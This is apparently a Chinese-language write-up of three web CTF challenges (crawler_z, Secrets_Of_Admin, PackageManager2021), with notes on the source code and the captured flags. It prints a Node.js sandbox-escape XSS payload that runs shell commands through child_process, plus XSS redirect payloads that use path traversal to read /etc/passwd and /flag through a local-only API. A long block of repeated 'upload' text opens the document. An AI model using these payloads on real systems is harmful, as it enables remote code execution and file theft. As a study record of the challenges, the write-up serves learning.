ploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploaduploadupload"}

image-20210822230925682

image-20210822230943662

flag{966fc4a2-e291-4136-84be-5bfd19b949e2}

crawler_z

本地走一遍！

checkBucket函数

image-20210822234742820

image-20210823091122565

存入personalBucket

image-20210823091157317

/verify路由就验证了token是否是字符串！

token可以随意构造！

image-20210822234815714

然后：就把bucket变成了personalBucket了

image-20210822234913618

image-20210822235635987

再访问bucket路由：

image-20210822235026135

执行了我们恶意代码！

image-20210823000020883

<script>process = this.constructor.constructor.constructor('return process')();a = process.mainModule.require("child_process").execSync("dir").toString();document.write(a);document.write(this.constructor.constructor.constructor('return process')().toString());</script>

它这里有回显的！

image-20210823111740134

image-20210823111803735

image-20210823111817797

Secrets_Of_Admin

ts的！

学到了一些东西！

/admin
/api/files
/api/files/:id

3个路由！ 一开始以为是 ssti! 就像我比赛时分析的！ uuid不知道！ 而且我本地复现的时候环境上传pdf不行！不知道为什么！可以依赖没装好！

admin下对con有过滤！

image-20210823100258666

这里很像ssti

image-20210823100338682

但是不知道！哈哈🙄🙄🙄

/api/files下

image-20210823100429663

可以知道本地 可以直接存入数据库！文件！

/api/files/:id

image-20210823100630676

因为要本地才能读！

那我们可以用xss！

那怎么绕过content呢！数组就可以了！

看大师傅的分析过程：

image-20210823112138142

image-20210823112147370

这里记录一下怎么触发 xss的！

image-20210823111019812

image-20210823111044571

当成html解析了！ 可以解析script！就触发了！🐱‍🚀🐱‍🚀🐱‍🚀🐱‍🚀 开心！！！

payload

<script>self.location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../../../../../../../../../etc/passwd&checksum=upload"</script>

<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../../../../../../../../../etc/passwd&checksum=upload1"</script>

image-20210823112740195

username必须是admin！因为： 查询的是token的username

image-20210823112826734

image-20210823103950442

<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=flag&checksum=upload2"</script>

直接flag报错了！不知道为什么！ (网络不稳定！😣)

image-20210823114326617

<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=/flag&checksum=2"</script>

image-20210823114747296

PackageManager2021

关键应该是这个！：

image-20210823130122954

image-20210823130242045

只有admin才能提交

image-20210823130658547

我感觉就是通过auth 变成admin然后提交！

然后干嘛就不知道了！ 不会太菜了！😖😖😖😖 呜呜呜呜呜呜呜呜呜呜！

啊啊啊啊！nosql注入！

祥云杯wp by Syclover

https://demo.hedgedoc.org/qX7pVgoATA62BiGeRrbh2Q#Secrets_Of_Admin